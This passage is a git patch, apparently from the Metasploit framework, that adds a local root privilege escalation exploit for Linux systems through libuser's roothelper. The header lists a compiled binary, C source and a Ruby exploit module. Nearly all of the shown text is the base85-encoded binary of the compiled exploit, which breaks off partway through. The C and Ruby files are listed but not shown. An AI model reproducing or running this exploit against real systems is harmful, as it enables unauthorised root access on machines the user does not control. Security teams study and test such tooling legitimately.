From 00583caadf94db1a48e64011eda12c86d4dc4b30 Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Mon, 23 Apr 2018 17:49:11 +0000 Subject: [PATCH] Add Libuser roothelper Privilege Escalation exploit --- data/exploits/roothelper/roothelper | Bin 0 -> 103396 bytes data/exploits/roothelper/roothelper.c | 976 ++++++++++++++++++ .../local/libuser_roothelper_priv_esc.rb | 274 +++++ 3 files changed, 1250 insertions(+) create mode 100644 data/exploits/roothelper/roothelper create mode 100644 data/exploits/roothelper/roothelper.c create mode 100644 modules/exploits/linux/local/libuser_roothelper_priv_esc.rb diff --git a/data/exploits/roothelper/roothelper b/data/exploits/roothelper/roothelper new file mode 100644 index 0000000000000000000000000000000000000000..d42e5320505acf72a5d07b3ab3e6f2bb357ad930 GIT binary patch literal 103396 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 